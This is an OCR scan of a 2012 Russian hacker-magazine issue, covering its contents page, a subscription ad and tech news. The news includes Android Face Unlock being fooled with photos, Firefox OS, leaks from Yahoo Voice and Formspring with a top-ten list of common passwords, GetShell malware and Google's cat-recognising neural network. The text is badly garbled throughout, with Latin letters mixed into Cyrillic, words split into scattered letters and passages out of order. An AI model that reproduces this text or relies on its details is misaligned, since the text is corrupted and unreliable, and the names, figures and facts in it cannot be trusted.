xaker2012-09

Page 1

PczoNE

':l.]&:,

032

Прототипы oTApple 0казывается, в яблочной компании разработали нетолько

01,1,

жизнь

048

Знако1.1

iPhone, iMac

и

iPadI

консолиwiпdоw5 Апгрейды для cmd.exe и альтервативы в

ься. Это 1.1arkdown Используем хакерский язык разметкидля самых разныхзадач

Взл0].{ 052 057

062 066

и м

ся

н

а

чужих ош иб ка х и за щи щае м

рол и от брутфорса

па

06зор эксплойтов Анализ свеженьких уязвимостей SQL-инъекции через DNS П

I t10 11l,

Easy Hack Хакерские секреты простых вещей Сага о крилтостойких паролях Уч

104

олуча ем соде ржи мое базы да

н н ы х

через

D N

Ядовитая обертка, или опасный рhр://filtег Использование враппера php://f iltег в контексте атаки на веб-приложения PHDays 2012: какэто было? в

120 12l,

S

0тчето конференции по практической безопасности

f

130

картинках

I 082

086 088

утилит для исследователе

ШколаНighlоаd.УрокN93 Масштабирование бэкенда

uNlxOlD Анато1,1иястрекозы 0бзор ключевых особенностей операционной системы DгаgопFlу BSD

скрытые резервы Задействуем современные видеокарты на полную катушку

sYN/Аск Развернуть и настроить Решения Асгопisдля автоматизации установки 0С

на множеств0 кOмпьютеров

Грозовые облака 0реп Sоuгсе решения для организации SAAS/lAAS, способные изменить информационныетехнOлогии ито, как мь их воспринимаем

Кузница стресс-тестов TSUng: распределенная система нагрузочноготестироваNия

x-Tools 7

АкАдЕi{ия

веб-приложений

й

безо пас

н

ости

ry

tlALUlrARE Festi: злобный и бестелесный Раска п ы ва ем в н утре н н ости руткита, не <Королем спама"

136 з

ря

п

роз ва

н н о

го

KlS 201 3: новая версия 06зор свежей версии <Касперского> Поймай меня, если сl..lожещь l[-концепт: скрываем файлы по-новому

139

FERRU],I Великоекитайскоепроизводство Культурные ислледования братского Китая BUFFALOTerastationTS5400D NAS'b в массы

091

юниты

11,0

FАо

14з

Диско

11,1,

WWW2 Удоб

Подборка интересных заданий, которые дают

собеседованиях 6 главных о кодинге на

094

Их должен прочитать каждый, кто считаетсебя

программистом!

098

Fаtе ofwindows phone П рогра мм и рова н ие и нтерфейсов для WP7.5

и

ответы

8,5 Гб всякой всячины

Задачи на собеседованиях

в

готовых рецептах

082

пользу

!d

I

Вопросы

кOдинг

в

известного журнала <Хакер"

н ы

е

wеЬ-серви

с

ы


}r|

EGAN EWS i

0чки дOпOлнЕннOи рЕАльнOсти 0т 0LYMPUS

м

;lfiiЁ+*liifii"iн,li,I-,

хOзяин, эт0 тOчн0 Tbl? АвторизАцию по сни1,1ку влАдЕльцА всЕ ЕlцЕ 1,1ожно оьойти

АнонсировАн0 ЕlцЕ 0дн0 носи1,10Е устрOйств0 ыло очевидно, что вследза очками Google Ргоjесt Glass вс к0 ре п 0тя н утся и други е п 0хOж ие п р0 е кты, н 0 м ы н е думали, что это произойдеттак скоро. Компания 0lympus

занимается разработкой дисплеев, пригодныхдля ношения, с прошлого года и даже успела продемонстрировать публике несколько прототипов. Но теперь, когда Google уже принимает предварительные заказы на Google Рrоjесt Glass, Olympus решила не терять времени даром и официально анонсировала свой продукт с дополненной реальностью- 1.4EG4.0. В отличие отсистемы Google, рOтOти п н 0с и м 0 г0 д ис пл ея 0т я п 0н с к0 г0 п рOи з водител я кре п итс я дуж ку оч ко в и с п о собе н в ыда вать ка рти н ку с раз ре ш е н и е м З20 х 240 пикселей. Яркость QVGА-изображения может варьироп

на

ваться в пределах от 1 0 до 2000 кд/м2 lэтого вполне хватитдля яркого дневного света). Сама система весит около З0 г и способна взаимодействовать с мобильными устройствами через интерфейс Bluetooth 2.1. Встроенный акселерометр позволяетуправлятьустройством движенияN4и головы. Устройство отображает информационное поле в области периферического зрения, где будетдемонстрироваться навигационное положение пользователя и другая полезная информация. Таким образом, 0lympus MEG4.0 вполне может использоваться, например, в навигациOнных задачах, предOставляя сведения о местоположении владельца с GРS-модуля в смартфоне.0 сроках релиза и стоимости девайса пока ничего не сообщается.

Е 0бещанное время автономной работы

устройствадоходит д0 восьми часOв при включении ва

пятнадцать€екунд раз втри минуты.

ачиная с версии 4.0, вАпdгоid появилась функция разблокировки смартфона Fасе Un]ock, призванная увеличить безо п ас н ость. Ув ы, оч ен ь бы стро в ы яс н ил ось, что е е ле гко об ма нуть: до статоч н о п о казать устро йству не л и цо настоя щег0 владельца, а обычную бумажную фотографию или фото, выведенное на экран любого устройства. Впрочем, Google всегда называла Fасе Unlock экспериментальной функцией, обладаюцей низким уровнем безопасности. 0днако вАпdrоid 4.] "Jelly Веап" появилась отдельно включаемая функция Liveness Check, которая требует, чтобы пользователь моргнул во время аутентификации, *фотография, понятное дело, моргать не умеет. Казалось бы, уровень безопасности должен повыситься, но нет. Выяснилось, что с помощью графической обработки и создания простенькой GlF-анимации можно без особых проблем обмануть и Liveness Check. Также не стоитзабывать и о том, что, хотя перехитрить систему при помощи фото стало сложнее, ей все равно не стоитслишком уждоверять; она может спокойно открыть доступ к смартфону человеку, который лишь в общих чертах похож на владельца устройства:), Словом, пароли и РlN-коды пO-прежнему

выглядят надежнее.

I

вхOдЕ HAcKER5 01{ PLANET EARTH хАкЕР ( никOlt|

РАЗЛOЧЕННАЯ ВЕРСИЯ с1,1АРтФонА бALAxY5 lll

БудЕт

п

рOдАвАтьс

я

п

ря

1,1

ОФИЦИАЛЬНОГО САЙТА. купить Developer Edition версию смоrуттолько раз-

0

RAY продемонстрировал,

С

чт0 l|ожно напечатать на

Но

ЗD-принтере ключ от наручников (даже <сложных>l

работчики.

004

APPLE дOгOвOрилА(ь с тАЙвАн ьскоЙ к0},lпАниЕЙ PROvlEWTE(HNOLO6Y, которой принадлежат права на слово (iPadD в Китае. Apple купит его за 60 миллионов дOлларOв.

п 0

БЕдитЕл

п0

п рOгр^1,1

СUР.

Et{

ч Е}4 п

и0 нАтА

vK п роведенноrо (ВКонм и

рOв^н

и

ю

выхOд BLдcKBERRY l0

0ткл^дывАЕтсяд0

2013

ГOДА, сообщила ко}.iпания

такте>, стал 16-летний про-

Rеsеаrсh lп ].,lotion. при-

граtlttист из Китая Южу Гу. В качестве приза он получил 30 тысяч долларов.

чина прOста: задержки в

п

0дгOтOв ке

п

р0 гра

1.1

ll

н 0

г0

обеспечения.

хдкЕр

09 /1b/,l 2012


rщщ

FднЕF


1.{EGANEWS

РАсlЦиРЕния снR01.,lЕ 0тнынЕ 1,10гУтдЕнOнстРиРOвАть

БOл ьL1l0и БрАт

ТЕБЯ НАСКВOЗЬ

видит

РЕклА},lныЕ БАннЕРы нАстоРоннив саЙты. гугл разрешил.

FlRЕFOх 0S. ужЕ скOр0 l,tOZlLLA пРЕдстАвил^ соБствЕннУю опЕрАционную систЕllу

3нАкOlt{ыхтЕхнолOгиЙ

Е Передтобойне простокартинка

<подрентген>,

это-реальный образецскана,

которыйделает zBv.

уже рассказывали о проекте Boot to Gecko (B2G), над которым усердно трудятся в lr4ozilla. НапOмним, чт0 кONlпания планирOвала превратить движок Gecko, обеспечивающий работу браузера Fiгеfох, в 0перациOнную систему с 0ткрытым исхOдным кOдOм для ы

телефонов и планшетов. Недавно N4ozilla выпустила пресс-релиз, в котором сообtлалось, что проект Boot to Gecko переименован новая 0С будет поставляться подузнаваемым брендом tiгеfох [п редп ол а га ется, что это должн о в ыз вать и нте рес пользователей к новым смартфонам, выходяшим на рынок). Также в пресс-релизе были раскрыты некоторые подробности относительно грядущей 0С. Fiгеfох 0S базируется на открытых веб-стандартах, предоставляя разработчикам приложений основанные на НТМ L5 ком п о не нты для задействова н и я всех воз м охностей аппаратных устройств. Mozilla традиционно гаранти рует а бсол ютную отк рытость п рое кта и неза вис и м ость разработки от коммерческих фирм. Компания намерена передать этал о н ную реал иза ци ю We Ь APl, раз работан ного при создании Fiгеfох 0S, в организациюWЗС для утверждения в качестве веб-стандарта. При этом Web АРl по возможности базируется на уже принятых стандартах, лишь расширяя их в необходимых направлениях.

-

сканерами-такие устрOиства, например, установлены в аэропортах многих стран мира. Не первый год ведутся дискуссии об этичности их применения, flело втом, чт0 перед взOрOм 0ператора такOгOустрOиства челOвек предстает практически без одежды. Зато ска н ер дает возможн ость бы стро п ро вести пол н ы й дос мотр: с разу видн0 сп рята н н 0е 0ружие, Н еда вно жур нал FогЬs поведал м и ру о том. что подобн ые дева йсы м ожно се мы хOрOш0 знакOмы с рентгеновскими

встретить

не

только

сканеры, способные

в

аэропортах

и

больницах. 0казывается, рентгеновские

<видеть> сквозь стены и через одежду, уже давно

досryпны в коммерческой продаже в виде обычных фургонов! К примеру, компания Аmегiсап Science & Епgiпеегiпg выпускаеттакие фургоны под брендом ZBV lZ ВасksсаttегVапl и за последнее время продала более 500 фургонов федеральным службам США и иностранным закаэчикам. В фургонах ZВVустановлено рентгеновское оборудование, которое направляет пучок излучения на другие автомобили и окружающие объекты: людей, сумки, подозрител ьн ые контей неры и так дал ее. Та кой фур гон может п росто п роехать п о а втомобильной па рковке, и оператор увидит, в ка ких маш инах есть л юди, ка кой това р находится внрри грузо вых фур. П ока не совсем ясно л и ш ь 0дн0 и меют л и п ра воохран ител ьн ы е ор ган ы п ра во осуществлять

-

подобные.обыски>>, пустьдаже с помощью рентгеновскихлучей, не имея ордера и не получая ничьего согласия. N4ожетстаться, чтотакое сканирование не являетdя обыском, а значит, его можно применять, как фотоаппарат или видеокамеру, без особого раэрешения.

-

сАный молодой сЕрти@ицировАнный спЕциАлист 1.,llcRosoFT

вOсь1.,|илЕтниЙ шOФАЙ тхOБАни в T0P)i(EсTBEH нOЙ

0БстАновкЕ пOлучил

РтиФи кАТ 1.,l l с ROSO FT cERTlFlED TEcHNOLOGY

сЕ

SPEclALlsT

Платфо рм а из начал ьно опти

м из и ро ва на

дл я начал ьн ого

сегмента смартфонов и лишена излишних промежуточных прослоек, что позволит мобильным операторам подготоить п родукты, п редоста вля ю щие бо гаты й на бор фун кци й по цене дешевыхтелефонов. Разви вае мая в ра м ках п роекта Fi геfох 0S мобил ьная в

платформа базируется на идее использования браузерного окружения вместо рабочего стола. В отличие отСhгоmе 0S, платформа Fiгеfох 0S ориентирована на мобильные

устройства и предоставляет расширенный Web APl для создания специализированных мобильных приложен,лй, в полной мере использующих возможности современных телефонов. 0сновой служитядро Linux и низкоуровневые компоненты из платформы Апdгоid. Вместо виртуальной машины Dalvik для запуска приложений задействован веб-стек Mozilla. flля распространения обновлений в Fiгеfох 0S будут использоваться проверенныетехнологии, применяемые проектом tiгеfох и каталога дополне н и й для Fi rеfох. П риложе н ия будут рас п ространяться через каталог-магазин Mozilla Магkеtрlасе, который будет поддерживать распространение как бесплатных,так и платных приложений. Пользовательский интерфейс платформы формируется из набора веб-приложений Gaia. В е го соста в войдут б раузе р, кал ькулято р, календа р ь-

планировщик, приложениедля работы с веб-камерой, адресная книга, интерфейс для осуществления телефонных звонков, клиентэлектронной почты, интерфейс для SMS/M MS

и та к

далее.

Вм

есто предоста вл

е н

ия

доступа

реальной файловой системе программы будутограничены внутри виртуальной ФС, построенной с использованием lndexedDB APl и изолированной отосновной системы. к

Созданные с использованием Web АРl программы смогут работать нетолько в окружении Fiгеfох 0S, но и влюбом поддерживающем стандарты ве6-стеке, Первые модели артфоно в, уко м пл екто ва н н ых но вой 0С, в ы пустят ком пании TCL Communication Technology {Alcatel] и ZTE. Смартфоны с Fiгеfох 0S поступят в продажу в начале 201З года под брендом Vivo, принадлежащим компании Telefonica. см

хлКЕР

09

l1btll2012


"*oa*{ri

}Iяj}Ько l

ll lL l l lt!,l l l лц

t 1 l 1

t,

\,


lrl

EGAN

EWS

!к(трАдицию основАтЕля

утЕч ки l1р0 LlJл кАкиЕ ко1,1пАнии

и

0

!,tEGAupLoAD

киltlАдотко]tlАВ(ШАотлоlкили

г0 м Еся цА

(ЕРвисы пРоlllтРАоились в июлЕ

до l.,lapтa

20l3 года. ки},l по-прежнемуостается

в

новой зеландии.

сOстOялся ФинАл lMAGlNE CUP2012

пOБЕду в сOстязАнии 0дЕржАлА

ко1,1АндАукр^ины

конце июля в Сиднее прошел финал конкурса М ic гоsоft l mag iпе Cu р 201 2, отм ети в ш его в это м году с вое десятил ети е. П ять дн е й студе нты со всег0 мира представляли свOи прOекты судеиским кOллегиям и принимали участие в обучающих сессиях. Всего

международном финале всемирного студенческого п ри нял и участие более З50 студентов из 75 стран мира. Россию в финале представляла томская кома нда Bonjo uг Deve lорmепt студе нты ТУСУРа, МФТИ и аспирант ИППИ РАН, Но победа в конкурсе впервые осталасьза командой Украины. Команда Quadsquad показала на конкурсе системудля помощи немым людям Enable Talk. Специальные перчатки, оснащенные множеством се н сOрOв и датч и к0 в дв иже н ия, п е реда ют да н н ы е 0 жестах на мобильное устройство. flанные анализируются, распознаются, и генерируется голосовое сообщение-таким образом систематранслируетязыкжестов в обычную речь, и ремые люди могутобрести.электронный голос". Команды-победители получили призы в размере 25, 10 и 5 ты сяч долла ро в С ША за п ер вое, второе и третье м еста соответственно, Российская команда Вопjочr Development представила свой проект М. D. Voice. С помошью Windows Рhопе 7 студенты разработали метод ранней диагностики заболеваний гортани на основе анализа изменения голоса. Проектбыл признанлучшим в России, получил высокие оценки международного жюри в Австралии, но в ходе отборочноготура в суперфинал не прошел. в

куб ка технол оги й

-

епонятным образом в Сеть попали е-mаil-адреса пользователей популярнейшего облачного хранилища DrорЬох. Жители Германии, Нидерландов и Великобритании оставляют на форуме DгорЬох сообщения о том, что получаютспам на адреса, созданные специальнодля использования DгорЬох.,Д,ля прояснения ситуации кOмпания пригласила независимыхэкспертOв. Хакерская группа DЗЗDs Соmрапу выложила на своем сайтетекстовый файл суказанием адресов электронной почты и паролей 453 492 пользователей Yahoo. Информация явно собрана с помощью SQL-инъекции -текстовый файл содержит более 2700 названий табличных строк и стол бцо в, а та кже наз ва н ия 298 перем е н н ых MyS0 L. Э ксперты считают, что взломан сервисYаhооVоiсе, поскольку в фа йле есть строка bb'l.ac.bf1 .yahoo.com о, а этот п оддо"d мен принадлежит именно ему. Исполнительный директор сервиса вопросов и ответов ng подтве рдил, что база и з 420 тысяч хе ш ей, опубликованная на одном из хакерских форумов, действи-

Fогmsр

гi

Е Тор-l0паролей yahoo, основыsаясь на утечкеi 12зl,56 1666 l0,з8%|

pa5sword

780 l0.18%l

welcome

1зб l0,1%l пiпjа ззз l0,08%l аЬс l 2з 250 l0,06%|

l2з456?89

222 l0,05%!

12зl,5678

208 l0,05%l

sUnshine

205 l0,05%l

рriпсе55

202 l0,05%l

qWerty 1,12l0,0ty"l

тельно принадлежит пользователям Fогmsргiпg. Расследование выявило, что неизвестный злоумышленник

п рон и к на один из серве ров разра ботк и и с коп и ро вал ба зу хеш ей. Уязви мость в систем е уже за кр ыта. Па рол и всех пользователей Fогmsргiпg [а их более 22 миллионов!) при-

нудител ьно деа кти ви ро ва н ы, для входа на са йт требуется сменить пёрOль.

I F-sЕСURЕСOOБЦlИЛА0 HOB01.1 ВРЕДОНОСЕ, КОТОРЫЙ НЕ 0ГРАНИЧИВАЕТСЯ ЗАРЛКЕНИE].l тOлЬкOwlнDOws-1.1Ашин, н0 спOсOБЕн рАспO3нАвАть РА3ЛИЧНЫЕ 0C:Windows, 1,1ac 0S и Linux и использоватьсоответствуюtций зксплойтдля кахдой .конкретной 0С. ilалварь,получила имена Тrоiап-Dоwпlоаdеr:Jача/ Getshell.A, Backdoor:O5x/ GetShell.A, Backdoor:Linux/ Gеt5hеll.Аи васkdоог:W32/ GetShell.A.

ЕlцЕдвOЕучА[тникOв хАкгРУппы LUtz5Ec [20-летний

462 из 500 lБOлЕЕ 90%l

Райен Клири и 19-летний

тЕрOв пл^нЕты рАБOтАют

ДжейкДевисl признали свою вину вхOде 0череднOгOзаседания суда в Великобритании.

СИСТЕ1,1,

пOдупрАвлЕни

E1.1

*Nlx_

сообщаетреЙтинг

т0 Р500 catt ых l.{оlцных

суперкOмпьютеров.

хАкЕр

09

/]64l 20]2


подпишись! 8-800-200-3-999 +7 (495) 663-82-77 (бесплатно)

Редакционная подписка без посредников это гарантия получения важного для Вас журнала и экономия до 40% от розничноЙ цены в киоске,

-

'.rч

6 номеров 2 номеров

1

-_

1

194 ру6. 49 руб.

21

6 номеров 12 номеров

ру6. - 810 - 1499 руб.

пtр8Ot

6 номеров 12 номеров

ру6. - l110 - 1999 руб.

DigitalPhoto

второЕ

ryw

6 номеров

'l2 номеров-

13 номеров

руб. - 564 - 1105 ру6.

6 номеров 599 ру6. 'l2 номеров - 1188 ру6.

-

ffi*-ffiffi*-i

З номера 6 номеров

-

-

630 ру6. 1140 ру6.

тл$ЁЁ @

6 номеров 12 номеров

ру6. - 1110 1999 ру6. -

6 номеров 12 номеров

_ 895 ру6. - 1699 руб.

ffi 6 номеров 12 номеров

ру6. - 1110 - 1999 ру6.

бномеров-1110ру6.

12 номеров

-

894 руб. 1699 ру6.

19

[!ця

6 номеров

-

1999 ру6.

и MArl] уАиIснOу

6 номеров 12 номеров

,GD

0 ру6, - 811499 руб. -

EJ;*.--*-"*

ffiрсплп

6 номеров 12 номеров

ру6, - 690 - 1249 руб.

6 номеров 12 номеров

950 ру6. 1699 руб.

6 номеров 12 номеров

_

-

775 ру6. 1399 руб.

(gаmеllапd -

shop.glc.ru


],IEGANEWS

пOчтOвы].l сЕРвисOн GнАlLпOль3УЕтся t25 ниллиOнOвчЕлOвЕкп0 всЕ]i,|У]i|иРу, сообщаетGооglе.

рАвятся |<отики

н Еи рOн

нOи сЕти GOOGLE

GOOGLE уСпЕlЦн0

сииУлиРУЕт РАБоту РЕАльного голOвнOг0 1,10згА

одразделение Х Lab , .секретная лаборатория> компании Google, совместно с учеными из Стэнфо рдс ко го ун и верситета о публ и ковала отчет, в котором сообщается, чтоученым компании удалось создать крупнейшую самообучаюцуюся компьютерную нейронную сеть. Напомним, что Х Lab хорошо известна всему миру именно благодаря различным инновационным проектам, вроде беспилотных автомобилей, управляемых компьютером, или очков дополненной реальности, Теперь вот настал черед нейронной сети. Ученые рассказали, что на протяжении нескольких лет работали над симуляцией человеческого мозга, в ходе чего и была создана одна из крупнейших в истории нейронных сетей для машинного обучения. Сеть была построена на 16тысячах процессоров. В результате исследOватели смOделирOвали систему с примерно миллиардом взаимосвязей между отдельными процессами [н е й

ро на м и). ,Щля сра вн

е н

н

алгоритмы машинного обучения почти все основаны на анализе 0грOмнOг0 кOличества экспериментальных данных. Например, чтобы натренировать систему на визуальное распознание ноутбуков, необходимо предварительно показать ей множество фотографий, обозначенных как <ноутбуки>. Как правило, такие системы используются для распознавания устной речи, анализа изображений, проверки сообщений на спам. <Мы никогда не говорили сети в процессе тренировок:,,это кошка". Таким образом, машина фактически сама изобрела для

поясн яет ffжефф ! и н, учен ы й н цеп ци ю кош ки >, из исследовательской лаборатории Google. Нейронная сеть Google самостоятельно сформировала размытое се бя ко

-

изображение кошки, использовав наборы изображений разных котов из памяти. Ученые говорят, что на примере этой сети им впервые удалось повторить процесс обучения, который происходит в человеческом мозге.

Е

Нейронная(еть(просмотрелаrrболееll)шиллионов

картиноки распOзнала lиенно изображение кошкилишь потошy' чтOкартинки сэтf, tи животныйl встречаются в Сети чащевсего.

ия: до этого в экс пери мента х

по машинному обучению применялись сети разве что

c'1-10 миллионами связей, Самый интересный нюанс состоит втом, что, обеспечив нейронной сети доступ в интернет, ученые позволили ей обучаться самостоятельно. В качестве материала для работы сеть использовала видеоролики с YouTube. Ей демонстрировались случайные изображения. Изучив около 1 0 миллионов рандомных цифровых картинок, взяты х и з в идео рол и ко в, ней рон ная сеть са м остоятел ьно научилась... распознавать изображения кошек :]. Ученые уверяют, что эффект, полученный отданного исследования, сильноудивил даже их самих, ведь сеть самостOятельно смоделировала изобрахение кошки, и результат вышел куда более точным, если сравнивать его с другими объектами в аналогичных экспериментах. Проведенное исследование вообще представляет собой новое слово в компьютерной науке, которое стало возможнотолько благодаря падению стоимости компьютерных вычислений и доступности огромных кластеров компьютеров в гигантских дата-центрах. Новизна этого эксперимента заключается в том, что раньше при создании похожих нейронных сетей люди наблюдали за обучением компьютерного интеллекта и управляли им, а в этот раз машины пOлучили пOлную свободу. [ело в том, что существуюlцие в наше время l

Билл гЕЙтс 0Б использовАнии плАнlllЕтOв

в

0БрАзовАнииз

((оБучЕнUЕ НАУСТРОИСТВЕ

БЕз клАвиАтурнOг0

вводА нЕэФФЕктивн0.

ДЕТЯ].{ HУ)KH0

РА3ВиВАтЬ ]t{OтоРикУ и

учиться

писАть>>

хАкЕр

09/164/2012


BvUPEil

VUe-=N

Блог: продвинрая эксплуатация lE9 MSXML Uninitialized Меmоry

МS12-04З с обходом ASLR/DEP... используя ТOЛЬК0 RGB! ЬцJО1fGЪ

Bkkotowicr Только что получил e-mail с благодарностями от опенсорсного вендора. Каждый должен попробовать геsропsiЬlе disclosuгe!

,I Ф

*Дr,iiг+-::.},.j;ft

nsteyeýtreza alias please=sudo

.

рабочем столе.

Bthezdi Анонсируем: lйоЬilе Pwn2Own ; 20'1 2: bit,]/Q[09_P ( #рwп2оwп

Б Е

Шрка шуткой, но у CERN свой дистриб Linux tScientific LinuxJ, который и помог в обнаружении бозона Хиггса!

na9ustingianni Интерактивный компилятор для С++. Угарно и полезно: gсlцоdЬоii,Q_l_ц

Коинентарпй:

ZD| расширила свое мероприятие Pwn2Own. Таким образом, в сентябре

пaaminsalehi

Амстердаме на EUSecWest пройдет конкурс по взло}iу мобильных устройств через следующие векторы: Mobile Web Вгоwsегs,

РiоtгВапiа: bit,lylMZOMoh

Fгоm Russia With Love!!! RT

в

Nеаr Fiеld Communication lNFCl. Shоrt Message Sегчiсе lSMSl, Сеllulаr Baseband.

t0

реально полезная ссылка, 0собенно если ты пишешь шелл-код 8l

Шугка в Твиттере о том, что в СПб

шркой, тем не менее, по словам автора,

laesizkur: 0lD_АА_Сагmасk

ему пришл0 нескOльк0 резюме: два из России.одно из Восточной Европы, одно

Удивился, обнаружив, что С++ по-тихому конвертирует false

требуется

разработчик

малвариl

осталась

из Франции, а одно даже из Кении!

любой указатель как 0. Безвредно по сравнению с геturп NULL, но позволяет вызывать плохие функции. в


1.{

ЕGА

N

EWS

в

хВох LlvE тЕпЕрь рЕАлизовАнА двУхУРовнЕвАя АУтЕнтиои кАция

ЕрЕдАчА дАн н blX ч ЕрЕз тЕл0 Ч ЕЛ0 В ЕКА УЖЕ РЕАЛ ЬН 0СТЬ

-

с

кодом подтверждения, высылаемым по 5},lS или e-mail.

п

<лАБOрАтOрия

БЕзуl{нАя. н0 рАБотOспосоБнАя тЕхнOлOгия ЕRlсs5ON

РАЗРАБАТЬl ВАЕТ

кАспЕрскOг0>

CB0lo 0с

ПЛАНЫ KASPERSKY LAB Р^ССЕКРЕТИЛ РЕКРУТИНГОВЫЙ САЙТ

ко

м

па

н и

и

Еriс sson

я в н

о ра бота ют

н а с

тоя щи е

п о

-

клонники киберпанка и энтузиасты своегодела, Исследователи Егiсssоп продемонстрировали высOкOскOрOстную передачуданнь х прям0 через чел0веч

ес кое тел

о !

Тех

н

ол

о

ги я

п

ол уч ил а го во ря

щее

н

аз ва

н

ие

соппесtеd lt4e. Ка к не трудно догадаться, разработка призвана соединять человека с любой техникой lделается это при помощи смартфона), Соппесtеd Ме позволяет передавать информацию на скоростях в 6-10 Мбит/с, но и 20-40 М б ит/с реал ьная зада ча. Раз работка и м еет чрезвычайно низкое электропотребление, небольшую стоимOсть, нетребует специальных переходников, что дает возможность массового внедрения.,Щля использования Connected Ме нужны только смартфон и приемник, осьащенные специальчой uифровой схечой. которая пOзвOлит передавать данные при пON.40щи электрOмагнит-

-

н

ых

п

ол

е

зуются

ежду за зе мл

Е ВлабOратории

Егiсssоптехнология соппесtеd

}.1е

прошламножеств0 тестов, кOторые

показали,что8се оборудование

безопасно.чипы connected 1,1e пOступятна рынOк втечение ]2-18 месяцев, Еriсssоп предпOлагаетl чт0 они могутпOявить_

сянасмартфонах, персональных кOмпьютерах, телевизOрах и принтерах.

м

е н н ы

м

в новом проекте и старшему разработчику обеспеч е н ия безопас н ости АСУ ТП / SCADA. 06е вакансии начинаются сослов оlом, что в.лаборатории Ка с п е рского в теч е н и е вес ьм а дл ител ьн о го вре ме н и идет " разработка новой безопасной 0С. Изтекста объявлений си сте м

можFо]онять,чтоглавчойсферойrриченечия .новой

безопасной 0cu, скорее всего, станут промышленнь информационные системы lАСУТП

е

-автоматизирован-

с истем ы уп ра вл е н и я техн ол огич е с ки м и п ро цесса м и). скател ь дол же н не тол ько соответство вать обыч н ы м требованиям -ехнологических коvпаний, но и обладать опь том работы сдиспетчерским П0 lSCADAJ, промышленными протоколами и контроллерами, 0тстаршего разработчика, помимо опыта программирования АСУТП и SCADA, умения работать с перечнем протоколов lPгofibus, Modbus, 0РС, DNP, lпdustгiаl Еthегпеt) и контроллеров,требуется знание системь реального времени QNX и опьLт программи-

сигнал, прошедJи; -ерез человеческий помощью Connected Ме можно будет, например, расплатиться в магазине просто оттиском руки, без использования банковской карты, или обменяться визитками при рукопожатии. Какиеужтутметки NFС. ке, определяя

организм.

требований

С

ч

веческим телом электрода, Cxeva под(лючена к пластине, пересылающей сигналы в тело, Аналогичная схема работает в приемни-

-

,

В объявлениях о наймеЛК предлагает работуаналитику

н ы

ело передатчиком lTxJ и приемником (Rx)

й, что об ра

икаких официальнь х заявлений uЛаборатория Кас п ерс lo го,, г о л а ts е дел ал а, н о п а ра вё { а -с ий, недавно появившихся на HeadHunteT, может свидетельствовать о том, что в компании идет работа н ад собс-вен н о 7 .. бе зо r а с н о l о п е ра цио н н ой с исте м о й.

С

е

ои

рованиядля СУБfl.

I

рАзрАБOтчики свЕрхДЕШЕВОГО КО1.1ПЬЮТЕРА

RАSРВЕRRYРl ПРЕД(ТАВИЛИ

сOБствЕнную 0пЕрАци_ 0 н ную ( истЕl.!у RA5PBlAN -дистрибутив

Linux, создай-

ный на основе DеЬiап.

о12

l(ROsOFT l.{0жЕт гOр50% к01.1пьютЕрOв в 1,1ирЕ устАнOвлЕ_ HAwlNDOws 7. подсчитал stаtСочпtег. Рубеж в 50% 1,1

диться _ нА

к0l,|пании удалOсь преOд0леть в июне 201 2 года.

видЕOхOстинг YOuTUBE

стАл0 извЕ(тн0,

0БзАвЕлся инстру1,1ЕнT01.1 дл я АВт01,1Атич Е( к0го рАзl.,lытия лицлюдЕЙ

кую

НА ВИДЕOЗАПИ(ЯХ.

Теперь скрытьлица l.,lожно буквальн0 в два клика.

cyl,!},ry

в

кА_

оБоЙдЕтся

0БнOвлЕниЕ систЕ1.,tы д0 WlNDOWs8для пOль3OвАтЕлЕЙ Wlt{Dows хр, vlsTA ИЛИ 7,

-цена

апгрейда

приду},lАть нOвOЕ

и l,,lя

ди(триБутиву 1,1ANDRlvA РЕlлили BcElt{ lt{иР01,1 при

-

поttоtци опроса. В итоге боль-

отдано за наэвание мапdаlа Linux. ше всего rолосов было

составит 39,99 доллара.

х^кЕр 09/]64l20I2


скOр0 игрOвАя Пл^тоOрнАSтЕАil (тАнЕтдоступНАИДЛЯ

LlilUx. КомпанияVаlчеух(е работаетнад

УП РдВЛ ЕН И Е ПдРOЛ Яl\/1И

FАс Ев00

чЕрЕз вLUЕтOOтн-ключ

АНАЛИЗИРУЕТ П ЕРЕП ИСКУ

интЕрЕснАя идЕя 0т к0}lпАнии FORD

Е Наданный

uоtентFоrd

KeyFreeLogin доступентолько воФранции,но это обещаютrсправитьвскOрOм

будущех.

нать кучу па ролей от разл

и ч н ых са йтов, се р ви сов и такдалее все-таки тяжело. Использовать везде одинаковые и прOстые пароли-тоже не особеннохорошо, равно как и хранить их в каком-нибудь менеджере [все это оlцутимо снижает безопасность]. Остает-

ся л

м и

бо за вести Сек ретную Бумажку, л и бо и скать ка ки е-то ал ьте рн ати в ы. Не совсем обычное решение проблемы предлагает компания Fогd, рази

работавшая технологию Fогd КеуFгее Login. Пока рещение реализовано в виде приложения для iPhone, и для управления паролями и аутентификацией используется протокол Bluetooth. Суть проста: кактолько смартфон оказывается в радиусе действия беспроводного модуля компьютера, система автOматически производитаутентификацию на всех сервисах, которые установлены в настройках. Кроме приложения для iphone, нужно также установить расширение для Google Сhгоmе. С его помощью система осуществляет быстрый вход на определенные сайты, и пOльзователю не требуется ничего вводить вручную, Смартфон выступает в роли уникального беспроводного аутентиф и катора. Ко гда устро й ство покидает зо ну де й ств ия BI uetooth, система автоматически делает logout из всех ве6-служ6, где была произведена авторизация. Прототипом Fогd КеуFгее Login выступила бесконтактн ая с и стема уп ра вл ен ия си гн ал иза ци е й а вто моб ил я, та кже в ы пол н е н на я в виде мобильного приложения. Успех от внедрения технологии КеуFгее для автомобилей подтолкнул инженеров Fогd реализовать нечто подобное для

повседневнойжизни.

НАЧАЛА СВOЮДЕЯТЕЛЬНОСТЬЛИГАЗАlЦИТЫ

ИНТЕРНЕТА

кOАлиция тысяч Акти_ ИСТОВ,

РЕДСТАВИТЕЛ ЕЙ ко},lпАниЙ и тЕхничЕски В

П

продвинутых пOлити-

КOВ ЗАРАБОТАЛА ПО АДРЕСУ l

ШТЕRN

iлк!"

о, llьцt

zo,

ETDEFENSELEAGUE.ORG

НАШУ

зА пOльзовАтЕляllи lлпионят БуквАльн0 всЕ КоНЕЧНо, кВ0 ПlUlядоБРА})

-

